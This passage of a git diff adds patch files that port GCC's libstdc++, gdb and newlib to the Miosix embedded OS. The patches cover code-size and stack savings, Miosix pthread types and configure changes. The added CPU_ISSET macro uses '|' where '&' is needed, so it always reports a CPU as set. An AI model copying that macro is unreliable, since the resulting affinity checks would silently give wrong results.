++ // mutex in Miosix may allocate memory using malloc. ++ // That's a problem because the whole purpose of the emergency pool is to ++ // successfully allocate an exception even if the heap is full and malloc ++ // returns NULL, so if the first time we lock this mutex is after the heap ++ // is already full, and the lock fails, this kind of defeats the purpose.. ++ __scoped_lock sentry(emergency_mutex); ++#endif ++ + #ifndef _GLIBCXX_EH_POOL_STATIC + int obj_size = EMERGENCY_OBJ_SIZE; + int obj_count = EMERGENCY_OBJ_COUNT; +diff -ruN gcc-15.2.0-old/libstdc++-v3/libsupc++/eh_globals.cc gcc-15.2.0/libstdc++-v3/libsupc++/eh_globals.cc +--- gcc-15.2.0-old/libstdc++-v3/libsupc++/eh_globals.cc 2025-08-08 08:51:45.826437421 +0200 ++++ gcc-15.2.0/libstdc++-v3/libsupc++/eh_globals.cc 2025-12-17 09:45:25.962367037 +0100 +@@ -41,6 +41,11 @@ + + using namespace __cxxabiv1; + ++// RATIONALE: __cxa_get_globals() and __cxa_get_globals_fast() have been moved ++// to libmiosix.a (kernel) / libsyscalls.a (userspace) since the __cxa_eh_globals ++// struct needs to be provided per-thread but Miosix does not support TLS ++#ifndef _MIOSIX ++ + #if _GLIBCXX_HAVE_TLS + + namespace +@@ -174,3 +179,5 @@ + #endif + + #endif ++ ++#endif //_MIOSIX +diff -ruN gcc-15.2.0-old/libstdc++-v3/libsupc++/guard.cc gcc-15.2.0/libstdc++-v3/libsupc++/guard.cc +--- gcc-15.2.0-old/libstdc++-v3/libsupc++/guard.cc 2025-08-08 08:51:45.827437437 +0200 ++++ gcc-15.2.0/libstdc++-v3/libsupc++/guard.cc 2025-12-17 09:45:25.962367037 +0100 +@@ -55,6 +55,13 @@ + + } // namespace __cxxabiv1 + ++#elif defined(_MIOSIX) ++ ++// RATIONALE: __cxa_guard_[acquire|release|abort] have been moved to ++// libmiosix.a (kernel) / libsyscalls.a (userspace) as static object ++// initialization can occur also before the kernel is started, therefore at a ++// time when using pthread_mutex and pthread_cond is unsafe. ++ + #else // __USING_MCFGTHREAD__ + + #include +diff -ruN gcc-15.2.0-old/libstdc++-v3/libsupc++/vterminate.cc gcc-15.2.0/libstdc++-v3/libsupc++/vterminate.cc +--- gcc-15.2.0-old/libstdc++-v3/libsupc++/vterminate.cc 2025-08-08 08:51:45.828437454 +0200 ++++ gcc-15.2.0/libstdc++-v3/libsupc++/vterminate.cc 2025-12-17 09:45:25.962367037 +0100 +@@ -31,6 +31,8 @@ + #include + # include + ++#include ++ + using namespace std; + using namespace abi; + +@@ -38,6 +40,16 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++ // XXX: having trouble overriding weak functions in Miosix processes, ++ // and this function is increasing code size significantly, replacing it ++ void __verbose_terminate_handler() ++ { ++ write(1,"terminate called\n",17); ++ _exit(1); ++ } ++ ++#if 0 ++ + // A replacement for the standard terminate_handler which prints + // more information about the terminating exception (if any) on + // stderr. +@@ -95,6 +107,8 @@ + abort(); + } + ++#endif ++ + _GLIBCXX_END_NAMESPACE_VERSION + } // namespace + +diff -ruN gcc-15.2.0-old/libstdc++-v3/src/c++11/condition_variable.cc gcc-15.2.0/libstdc++-v3/src/c++11/condition_variable.cc +--- gcc-15.2.0-old/libstdc++-v3/src/c++11/condition_variable.cc 2025-08-08 08:51:45.832437521 +0200 ++++ gcc-15.2.0/libstdc++-v3/src/c++11/condition_variable.cc 2025-12-17 09:52:04.954345748 +0100 +@@ -31,6 +31,15 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++/* ++ * Patch set ID: inline-condvar ++ * Patch rationale: this patch used to be needed to avoid pulling in exceptions ++ * when compiling with -fno-exceptions, but now we switched to having a separate ++ * multilib for that. We kept this patch just because condition_variable methods ++ * are so simple that inlining them will make condition_variable faster. ++ */ ++#ifndef _MIOSIX ++ + condition_variable::condition_variable() noexcept = default; + + condition_variable::~condition_variable() noexcept = default; +@@ -53,6 +62,8 @@ + _M_cond.notify_all(); + } + ++#endif //_MIOSIX ++ + extern void + __at_thread_exit(__at_thread_exit_elt*); + +diff -ruN gcc-15.2.0-old/libstdc++-v3/src/c++11/functexcept.cc gcc-15.2.0/libstdc++-v3/src/c++11/functexcept.cc +--- gcc-15.2.0-old/libstdc++-v3/src/c++11/functexcept.cc 2025-08-08 08:51:45.834437554 +0200 ++++ gcc-15.2.0/libstdc++-v3/src/c++11/functexcept.cc 2025-12-17 09:45:25.962367037 +0100 +@@ -88,7 +88,14 @@ + void + __throw_out_of_range_fmt(const char* __fmt, ...) + { +-#if _GLIBCXX_HOSTED && _GLIBCXX_VERBOSE && __cpp_exceptions ++ // Miosix applications usually run with tiny stacks of a few KB, doing an ++ // alloca of 512+ bytes is almost guaranteed to cause stack overflow. ++ // The fact that this allocation happens if an exception is thrown (which ++ // should normally not occur) only makes testing and sizing stacks harder. ++ // For this reason, even if it is a nice feature, we've decided to not ++ // expand formats. Users will get a strange exception with %zu or other ++ // format strings in it, but at least no stack overflow. ++#if _GLIBCXX_HOSTED && _GLIBCXX_VERBOSE && __cpp_exceptions && !defined(_MIOSIX) + const size_t __len = __builtin_strlen(__fmt); + // We expect at most 2 numbers, and 1 short string. The additional + // 512 bytes should provide more than enough space for expansion. +diff -ruN gcc-15.2.0-old/libstdc++-v3/src/c++11/system_error.cc gcc-15.2.0/libstdc++-v3/src/c++11/system_error.cc +--- gcc-15.2.0-old/libstdc++-v3/src/c++11/system_error.cc 2025-08-08 08:51:45.835437571 +0200 ++++ gcc-15.2.0/libstdc++-v3/src/c++11/system_error.cc 2026-02-28 23:41:24.069618816 +0100 +@@ -596,7 +596,16 @@ + void + __throw_system_error(int __i __attribute__((unused))) + { ++ // Patch rationale: a simple main instantiating an std::mutex and calling ++ // lock() increases code size by >6KB compared to an empty main. ++ // The issue was traced to system_error pulling in strerror to get fancy ++ // error messages. To save code size we throw runtime_error instead. ++ // TODO: maybe print the error code __i, but somehow without pulling in sprintf? ++#ifdef _MIOSIX ++ _GLIBCXX_THROW_OR_ABORT(runtime_error("System error")); ++#else + _GLIBCXX_THROW_OR_ABORT(system_error(__i, generic_category_instance.obj)); ++#endif + } + + error_category::~error_category() = default; +diff -ruN gcc-15.2.0-old/libstdc++-v3/src/c++17/fs_ops.cc gcc-15.2.0/libstdc++-v3/src/c++17/fs_ops.cc +--- gcc-15.2.0-old/libstdc++-v3/src/c++17/fs_ops.cc 2025-08-08 08:51:45.837437604 +0200 ++++ gcc-15.2.0/libstdc++-v3/src/c++17/fs_ops.cc 2026-01-20 18:11:59.135676125 +0100 +@@ -745,7 +745,11 @@ + else + ec.assign(errno, std::generic_category()); + #else +-#ifdef _PC_PATH_MAX ++#ifdef _MIOSIX ++ //1. On Miosix avoid pathconf ++ //2. PATH_MAX is big (512) and memory is scarce, so try a smaller buffer first ++ size_t size = PATH_MAX/4; ++#elif defined(_PC_PATH_MAX) + long path_max = pathconf(".", _PC_PATH_MAX); + size_t size; + if (path_max == -1) +diff -ruN gcc-15.2.0-old/zlib/zutil.h gcc-15.2.0/zlib/zutil.h +--- gcc-15.2.0-old/zlib/zutil.h 2025-08-08 08:51:46.250444494 +0200 ++++ gcc-15.2.0/zlib/zutil.h 2025-12-17 09:45:25.962367037 +0100 +@@ -132,15 +132,6 @@ + + #if defined(MACOS) || defined(TARGET_OS_MAC) + # define OS_CODE 7 +-# ifndef Z_SOLO +-# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +-# include /* for fdopen */ +-# else +-# ifndef fdopen +-# define fdopen(fd,mode) NULL /* No fdopen() */ +-# endif +-# endif +-# endif + #endif + + #ifdef __acorn diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/gdb.patch b/tools/compiler/gcc-15.2.0-mp4.2/patches/gdb.patch new file mode 100644 index 000000000..f6ba99bb1 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/gdb.patch @@ -0,0 +1,114 @@ +diff -ruN gdb-16.3-old/gdb/configure gdb-16.3/gdb/configure +--- gdb-16.3-old/gdb/configure 2025-04-20 19:22:05.000000000 +0200 ++++ gdb-16.3/gdb/configure 2026-03-13 11:51:50.792438724 +0100 +@@ -20881,12 +20881,12 @@ + /* end confdefs.h. */ + #if defined (__MINGW32__) || defined (__CYGWIN__) + # ifdef _WIN32_WINNT +- # if _WIN32_WINNT < 0x0501 ++ # if _WIN32_WINNT < 0x0600 + # undef _WIN32_WINNT +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + # else +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + #endif /* __MINGW32__ || __CYGWIN__ */ + #include +diff -ruN gdb-16.3-old/gdbserver/configure gdb-16.3/gdbserver/configure +--- gdb-16.3-old/gdbserver/configure 2025-04-20 19:22:06.000000000 +0200 ++++ gdb-16.3/gdbserver/configure 2026-03-13 11:52:27.712440210 +0100 +@@ -9587,12 +9587,12 @@ + /* end confdefs.h. */ + #if defined (__MINGW32__) || defined (__CYGWIN__) + # ifdef _WIN32_WINNT +- # if _WIN32_WINNT < 0x0501 ++ # if _WIN32_WINNT < 0x0600 + # undef _WIN32_WINNT +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + # else +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + #endif /* __MINGW32__ || __CYGWIN__ */ + #include +diff -ruN gdb-16.3-old/gdbsupport/common-defs.h gdb-16.3/gdbsupport/common-defs.h +--- gdb-16.3-old/gdbsupport/common-defs.h 2025-04-20 19:22:06.000000000 +0200 ++++ gdb-16.3/gdbsupport/common-defs.h 2026-03-13 11:49:29.304433029 +0100 +@@ -82,12 +82,12 @@ + NOTE: this must be kept in sync with common.m4. */ + #if defined (__MINGW32__) || defined (__CYGWIN__) + # ifdef _WIN32_WINNT +-# if _WIN32_WINNT < 0x0501 ++# if _WIN32_WINNT < 0x0600 + # undef _WIN32_WINNT +-# define _WIN32_WINNT 0x0501 ++# define _WIN32_WINNT 0x0600 + # endif + # else +-# define _WIN32_WINNT 0x0501 ++# define _WIN32_WINNT 0x0600 + # endif + #endif /* __MINGW32__ || __CYGWIN__ */ + +diff -ruN gdb-16.3-old/gdbsupport/common.m4 gdb-16.3/gdbsupport/common.m4 +--- gdb-16.3-old/gdbsupport/common.m4 2025-04-20 19:22:06.000000000 +0200 ++++ gdb-16.3/gdbsupport/common.m4 2026-03-13 11:49:29.304433029 +0100 +@@ -133,12 +133,12 @@ + dnl NOTE: this must be kept in sync with common-defs.h. + [[#if defined (__MINGW32__) || defined (__CYGWIN__) + # ifdef _WIN32_WINNT +- # if _WIN32_WINNT < 0x0501 ++ # if _WIN32_WINNT < 0x0600 + # undef _WIN32_WINNT +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + # else +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + #endif /* __MINGW32__ || __CYGWIN__ */ + #include +diff -ruN gdb-16.3-old/gdbsupport/configure gdb-16.3/gdbsupport/configure +--- gdb-16.3-old/gdbsupport/configure 2025-04-20 19:22:06.000000000 +0200 ++++ gdb-16.3/gdbsupport/configure 2026-03-13 11:52:52.556441210 +0100 +@@ -12361,12 +12361,12 @@ + /* end confdefs.h. */ + #if defined (__MINGW32__) || defined (__CYGWIN__) + # ifdef _WIN32_WINNT +- # if _WIN32_WINNT < 0x0501 ++ # if _WIN32_WINNT < 0x0600 + # undef _WIN32_WINNT +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + # else +- # define _WIN32_WINNT 0x0501 ++ # define _WIN32_WINNT 0x0600 + # endif + #endif /* __MINGW32__ || __CYGWIN__ */ + #include +diff -ruN gdb-16.3-old/zlib/zutil.h gdb-16.3/zlib/zutil.h +--- gdb-16.3-old/zlib/zutil.h 2024-12-29 03:50:08.000000000 +0100 ++++ gdb-16.3/zlib/zutil.h 2026-03-13 11:49:29.304433029 +0100 +@@ -139,15 +139,6 @@ + + #if defined(MACOS) || defined(TARGET_OS_MAC) + # define OS_CODE 7 +-# ifndef Z_SOLO +-# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +-# include /* for fdopen */ +-# else +-# ifndef fdopen +-# define fdopen(fd,mode) NULL /* No fdopen() */ +-# endif +-# endif +-# endif + #endif + + #ifdef __acorn diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/newlib.patch b/tools/compiler/gcc-15.2.0-mp4.2/patches/newlib.patch new file mode 100644 index 000000000..343cad750 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/newlib.patch @@ -0,0 +1,2924 @@ +diff -ruN newlib-4.6.0.20260123-old/newlib/configure newlib-4.6.0.20260123/newlib/configure +--- newlib-4.6.0.20260123-old/newlib/configure 2026-02-05 11:54:50.394864078 +0100 ++++ newlib-4.6.0.20260123/newlib/configure 2026-02-23 17:51:17.859178106 +0100 +@@ -805,6 +805,8 @@ + HAVE_LIBC_SYS_NETWARE_DIR_TRUE + HAVE_LIBC_SYS_MMIXWARE_DIR_FALSE + HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE ++HAVE_LIBC_SYS_MIOSIX_DIR_FALSE ++HAVE_LIBC_SYS_MIOSIX_DIR_TRUE + HAVE_LIBC_SYS_M88KBUG_DIR_FALSE + HAVE_LIBC_SYS_M88KBUG_DIR_TRUE + HAVE_LIBC_SYS_H8500HMS_DIR_FALSE +@@ -950,6 +952,7 @@ + docdir + oldincludedir + includedir ++runstatedir + localstatedir + sharedstatedir + sysconfdir +@@ -1063,6 +1066,7 @@ + sysconfdir='${prefix}/etc' + sharedstatedir='${prefix}/com' + localstatedir='${prefix}/var' ++runstatedir='${localstatedir}/run' + includedir='${prefix}/include' + oldincludedir='/usr/include' + docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' +@@ -1315,6 +1319,15 @@ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + ++ -runstatedir | --runstatedir | --runstatedi | --runstated \ ++ | --runstate | --runstat | --runsta | --runst | --runs \ ++ | --run | --ru | --r) ++ ac_prev=runstatedir ;; ++ -runstatedir=* | --runstatedir=* | --runstatedi=* | --runstated=* \ ++ | --runstate=* | --runstat=* | --runsta=* | --runst=* | --runs=* \ ++ | --run=* | --ru=* | --r=*) ++ runstatedir=$ac_optarg ;; ++ + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ +@@ -1452,7 +1465,7 @@ + for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ +- libdir localedir mandir ++ libdir localedir mandir runstatedir + do + eval ac_val=\$$ac_var + # Remove trailing slashes. +@@ -1605,6 +1618,7 @@ + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] ++ --runstatedir=DIR modifiable per-process data [LOCALSTATEDIR/run] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] +@@ -5442,6 +5456,13 @@ + HAVE_LIBC_SYS_M88KBUG_DIR_TRUE='#' + HAVE_LIBC_SYS_M88KBUG_DIR_FALSE= + fi ++ if test "${sys_dir}" = miosix; then ++ HAVE_LIBC_SYS_MIOSIX_DIR_TRUE= ++ HAVE_LIBC_SYS_MIOSIX_DIR_FALSE='#' ++else ++ HAVE_LIBC_SYS_MIOSIX_DIR_TRUE='#' ++ HAVE_LIBC_SYS_MIOSIX_DIR_FALSE= ++fi + if test "${sys_dir}" = mmixware; then + HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE= + HAVE_LIBC_SYS_MMIXWARE_DIR_FALSE='#' +@@ -7713,6 +7734,10 @@ + as_fn_error $? "conditional \"HAVE_LIBC_SYS_M88KBUG_DIR\" was never defined. + Usually this means the macro was only invoked conditionally." "$LINENO" 5 + fi ++if test -z "${HAVE_LIBC_SYS_MIOSIX_DIR_TRUE}" && test -z "${HAVE_LIBC_SYS_MIOSIX_DIR_FALSE}"; then ++ as_fn_error $? "conditional \"HAVE_LIBC_SYS_MIOSIX_DIR\" was never defined. ++Usually this means the macro was only invoked conditionally." "$LINENO" 5 ++fi + if test -z "${HAVE_LIBC_SYS_MMIXWARE_DIR_TRUE}" && test -z "${HAVE_LIBC_SYS_MMIXWARE_DIR_FALSE}"; then + as_fn_error $? "conditional \"HAVE_LIBC_SYS_MMIXWARE_DIR\" was never defined. + Usually this means the macro was only invoked conditionally." "$LINENO" 5 +diff -ruN newlib-4.6.0.20260123-old/newlib/configure.host newlib-4.6.0.20260123/newlib/configure.host +--- newlib-4.6.0.20260123-old/newlib/configure.host 2026-02-05 11:54:50.394864078 +0100 ++++ newlib-4.6.0.20260123/newlib/configure.host 2026-02-27 10:46:04.810527770 +0100 +@@ -434,6 +434,10 @@ + posix_dir=posix + xdr_dir=xdr + ;; ++ *-miosix-*) ++ sys_dir=miosix ++ posix_dir=posix ++ ;; + *-*-netware*) + signal_dir= + sys_dir=netware +@@ -610,6 +614,23 @@ + newlib_cflags="${newlib_cflags} -DHAVE_OPENDIR -DHAVE_RENAME -DGETREENT_PROVIDED -DSIGNAL_PROVIDED -DHAVE_BLKSIZE -DHAVE_FCNTL -DMALLOC_PROVIDED -DHAVE_CHDIR -DHAVE_FCHDIR" + syscall_dir=syscalls + ;; ++ *-miosix-*) ++# Miosix requires a couple of tweaks that are #ifdef'd ++# REENTRANT_SYSCALLS_PROVIDED: as in libc/include/reent.h, disables the ++# syscall definition starting with an underscore in libc/reent ++# GETREENT_PROVIDED Miosix provides its own getreent to give per-thread reent ++# HAVE_BLKSIZE: BUFSIZ is kept small in Miosix to reduce RAM usage, especially on the stack. ++# therefore to optimize disk throughput, make sure the libc sets buffers based on st_blksize ++# HAVE_FCNTL: make fcntl available ++# HAVE_NANOSLEEP: provides support for sleep/usleep ++# _NO_POPEN: no popen() support in Miosix (missing fork()) ++# _NO_WORDEXP: no wordexp() support in Miosix (missing fork()) ++# _NO_POSIX_SPAWN: Miosix provides ths function as a syscall ++# _SMALL_HEXDIG: save 256 byte of RAM in stdlib/gdtoa-gethex.c ++# SIGNAL_PROVIDED: disable the implementation of signals in newlib ++ newlib_cflags="${newlib_cflags} -DREENTRANT_SYSCALLS_PROVIDED -DGETREENT_PROVIDED -DHAVE_BLKSIZE -DHAVE_FCNTL -DHAVE_NANOSLEEP -D_NO_POPEN -D_NO_WORDEXP -D_NO_POSIX_SPAWN -D_SMALL_HEXDIG -DSIGNAL_PROVIDED" ++ newlib_cflags="${newlib_cflags} -Wall" ++ ;; + # RTEMS supplies its own versions of some routines: + # malloc() (reentrant version) + # exit() RTEMS has a "global" reent to flush +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/acinclude.m4 newlib-4.6.0.20260123/newlib/libc/acinclude.m4 +--- newlib-4.6.0.20260123-old/newlib/libc/acinclude.m4 2026-02-05 11:54:50.394864078 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/acinclude.m4 2026-02-23 17:51:30.571345654 +0100 +@@ -16,7 +16,7 @@ + d10v + epiphany + h8300hms h8500hms +- m88kbug mmixware ++ m88kbug miosix mmixware + netware + or1k + rdos rtems +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/locale.h newlib-4.6.0.20260123/newlib/libc/include/locale.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/locale.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/locale.h 2026-02-05 16:14:27.082942235 +0100 +@@ -71,19 +71,21 @@ + char *_setlocale_r (struct _reent *, int, const char *); + struct lconv *_localeconv_r (struct _reent *); + ++#ifndef _MIOSIX + struct __locale_t *_newlocale_r (struct _reent *, int, const char *, + struct __locale_t *); + void _freelocale_r (struct _reent *, struct __locale_t *); + struct __locale_t *_duplocale_r (struct _reent *, struct __locale_t *); + struct __locale_t *_uselocale_r (struct _reent *, struct __locale_t *); + const char *_getlocalename_l_r (struct _reent *, int, struct __locale_t *); ++#endif /* _MIOSIX */ + + #ifndef _REENT_ONLY + + char *setlocale (int, const char *); + struct lconv *localeconv (void); + +-#if __POSIX_VISIBLE >= 200809 ++#if __POSIX_VISIBLE >= 200809 && !defined(_MIOSIX) + locale_t newlocale (int, const char *, locale_t); + void freelocale (locale_t); + locale_t duplocale (locale_t); +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/malloc.h newlib-4.6.0.20260123/newlib/libc/include/malloc.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/malloc.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/malloc.h 2026-02-05 15:43:40.546308814 +0100 +@@ -34,36 +34,36 @@ + + /* The routines. */ + +-extern void *malloc (size_t); ++extern void *malloc (size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _malloc_r + #define _malloc_r(r, s) malloc (s) + #else +-extern void *_malloc_r (struct _reent *, size_t); ++extern void *_malloc_r (struct _reent *, size_t) _NOTHROW; + #endif + +-extern void free (void *); ++extern void free (void *) _NOTHROW; + #ifdef __CYGWIN__ + #undef _free_r + #define _free_r(r, p) free (p) + #else +-extern void _free_r (struct _reent *, void *); ++extern void _free_r (struct _reent *, void *) _NOTHROW; + #endif + +-extern void *realloc (void *, size_t); ++extern void *realloc (void *, size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _realloc_r + #define _realloc_r(r, p, s) realloc (p, s) + #else +-extern void *_realloc_r (struct _reent *, void *, size_t); ++extern void *_realloc_r (struct _reent *, void *, size_t) _NOTHROW; + #endif + +-extern void *calloc (size_t, size_t); ++extern void *calloc (size_t, size_t) _NOTHROW; + #ifdef __CYGWIN__ + #undef _calloc_r + #define _calloc_r(r, s1, s2) calloc (s1, s2); + #else +-extern void *_calloc_r (struct _reent *, size_t, size_t); ++extern void *_calloc_r (struct _reent *, size_t, size_t) _NOTHROW; + #endif + + extern void *memalign (size_t, size_t); +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/pthread.h newlib-4.6.0.20260123/newlib/libc/include/pthread.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/pthread.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/pthread.h 2026-02-27 09:58:34.356961696 +0100 +@@ -250,6 +250,19 @@ + #endif /* defined(__rtems__) */ + #endif /* __GNU_VISIBLE */ + ++#ifdef _MIOSIX ++typedef unsigned long long cpu_set_t; /* Up to 64 CPUs seems reasonable */ ++#define CPU_ZERO(__set) *__set=0 ++#define CPU_SET(__bit, __set) (*__set) |= (1ull<<(__bit)) ++#define CPU_CLR(__bit, __set) (*__set) &= ~(1ull<<(__bit)) ++#define CPU_ISSET(__bit, __set) ((*__set) | (1ull<<(__bit))) ++ ++int pthread_setaffinity_np (pthread_t __pthread, size_t __cpusetsize, ++ const cpu_set_t *__cpuset); ++int pthread_getaffinity_np (pthread_t __pthread, size_t __cpusetsize, ++ cpu_set_t *__cpuset); ++#endif /* _MIOSIX */ ++ + /* Thread Creation, P1003.1c/Draft 10, p. 144 */ + + int pthread_create (pthread_t *__pthread, const pthread_attr_t *__attr, +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/sys/config.h newlib-4.6.0.20260123/newlib/libc/include/sys/config.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/sys/config.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/sys/config.h 2026-02-27 10:14:44.285744424 +0100 +@@ -243,6 +243,12 @@ + #include + #endif + ++#ifdef _MIOSIX ++#define __BUFSIZ__ 256 /* Because Miosix threads often have small (<2KB) stacks */ ++#define _REENT_SMALL /* Force use of _REENT_SMALL for this platform */ ++#define __DYNAMIC_REENT__ /* Enable __getreent() */ ++#endif /* _MIOSIX */ ++ + #if defined(__rtems__) + #define __FILENAME_MAX__ 255 + #define _READ_WRITE_RETURN_TYPE _ssize_t +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/sys/features.h newlib-4.6.0.20260123/newlib/libc/include/sys/features.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/sys/features.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/sys/features.h 2026-02-05 17:39:14.411707031 +0100 +@@ -373,6 +373,17 @@ + # define __SSP_FORTIFY_LEVEL 0 + #endif + ++#ifdef _MIOSIX ++#define _POSIX_THREADS 1 /* Miosix provides pthread support */ ++#define _POSIX_THREAD_PRIO_INHERIT 1 ++#define _POSIX_THREAD_PRIO_PROTECT 1 ++#define _UNIX98_THREAD_MUTEX_ATTRIBUTES 1 /* Miosix provides recursive mutexes */ ++#define _POSIX_TIMEOUTS 1 ++#define _POSIX_TIMERS 1 /* for clock_gettime (c++11 chrono) */ ++#define _POSIX_CLOCK_SELECTION 1 /* for clock_nanosleep (c++11 thread)*/ ++#define _POSIX_MONOTONIC_CLOCK 1 /* for clock_gettime (c++11 chrono) */ ++#endif /* _MIOSIX */ ++ + /* + * RTEMS adheres to POSIX -- 1003.1b with some features from annexes. + * Unsupported features are commented out. +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/sys/_pthreadtypes.h newlib-4.6.0.20260123/newlib/libc/include/sys/_pthreadtypes.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/sys/_pthreadtypes.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/sys/_pthreadtypes.h 2026-02-27 11:30:20.665529051 +0100 +@@ -143,7 +143,24 @@ + + #endif /* !defined(_UNIX98_THREAD_MUTEX_ATTRIBUTES) */ + +-#if defined(__XMK__) ++#ifdef _MIOSIX ++typedef struct ++{ ++ void *owner; /* Actually, pointer to C++ class Thread */ ++ int recursiveDepth; /* -1 = special value for non recursive */ ++ void *field1; /* Opaque fields */ ++ void *field2; /* Opaque fields */ ++ void *field3; /* Opaque fields */ ++ int type; /* Depending on how kernel is compiled, mutex type */ ++} pthread_mutex_t; ++ ++typedef struct { ++ char is_initialized; ++ char prio; ++ char recursive; ++} pthread_mutexattr_t; ++ ++#elif defined(__XMK__) + typedef unsigned int pthread_mutex_t; /* identify a mutex */ + + typedef struct { +@@ -169,13 +186,31 @@ + } pthread_mutexattr_t; + #endif /* !defined(__XMK__) */ + ++#ifdef _MIOSIX ++#define _PTHREAD_MUTEX_INITIALIZER {0,-1,0,0,0,0} ++/* NOTE: this is not defined in pthread.h, so no leading underscore */ ++#define PTHREAD_MUTEX_RECURSIVE_INITIALIZER_NP {0,0,0,0,0,0} ++ ++#else /* _MIOSIX */ + #define _PTHREAD_MUTEX_INITIALIZER ((pthread_mutex_t) 0xFFFFFFFF) ++#endif /* _MIOSIX */ + + /* Condition Variables */ + ++#ifdef _MIOSIX ++typedef struct ++{ ++ void *field1; /* Opaque fields */ ++ void *field2; /* Opaque fields */ ++} pthread_cond_t; ++ ++#define _PTHREAD_COND_INITIALIZER {0,0} ++ ++#else /* _MIOSIX */ + typedef __uint32_t pthread_cond_t; /* identify a condition variable */ + + #define _PTHREAD_COND_INITIALIZER ((pthread_cond_t) 0xFFFFFFFF) ++#endif /* _MIOSIX */ + + typedef struct { + int is_initialized; +diff -ruN newlib-4.6.0.20260123-old/newlib/libc/include/sys/reent.h newlib-4.6.0.20260123/newlib/libc/include/sys/reent.h +--- newlib-4.6.0.20260123-old/newlib/libc/include/sys/reent.h 2026-02-05 11:54:50.406864125 +0100 ++++ newlib-4.6.0.20260123/newlib/libc/include/sys/reent.h 2026-02-15 14:58:39.769672616 +0100 +@@ -395,7 +395,9 @@ + int _reserved_0; + int _reserved_1; + #endif ++#ifndef _MIOSIX + struct __locale_t *_locale;/* per-thread locale */ ++#endif /* _MIOSIX */ + + struct _mprec *_mp; + +@@ -411,8 +413,10 @@ + struct __tm *_localtime_buf; + char *_asctime_buf; + ++#ifndef _MIOSIX + /* signal info */ + void (** _sig_func)(int); ++#endif /* _MIOSIX */ + + #ifdef _REENT_BACKWARD_BINARY_COMPAT + struct _atexit *_reserved_6; +@@ -420,11 +424,14 @@ + struct _glue _reserved_8; + #endif + ++#ifndef _MIOSIX + __FILE *__sf; /* file descriptors */ ++#endif /* _MIOSIX */ + struct _misc_reent *_misc; /* strtok, multibyte states */ + char *_signal_buf; /* strsignal */ + }; + ++#ifndef _MIOSIX + # define _REENT_INIT(var) \ + { 0, \ + &__sf[0], \ +@@ -450,6 +457,36 @@ + _NULL, \ + _NULL \ + } ++#else /* _MIOSIX */ ++/* ++ * Same as above but with the _locale, _sig_func and __sf fields removed ++ */ ++# define _REENT_INIT(var) \ ++ { 0, \ ++ &__sf[0], \ ++ &__sf[1], \ ++ &__sf[2], \ ++ 0, \ ++ _NULL, \ ++ _REENT_INIT_RESERVED_0 \ ++ _REENT_INIT_RESERVED_1 \ ++ /* _NULL, */ \ ++ _NULL, \ ++ _NULL, \ ++ 0, \ ++ 0, \ ++ _NULL, \ ++ _NULL, \ ++ _NULL, \ ++ _NULL, \ ++ /* _NULL, */ \ ++ _REENT_INIT_RESERVED_6_7 \ ++ _REENT_INIT_RESERVED_8 \ ++ /* _NULL, */ \ ++ _NULL, \ ++ _NULL \ ++ } ++#endif /* _MIOSIX */ + + #define _REENT_INIT_PTR_ZEROED(var) \ + { (var)->_stdin = &__sf[0]; \ +diff -ruN 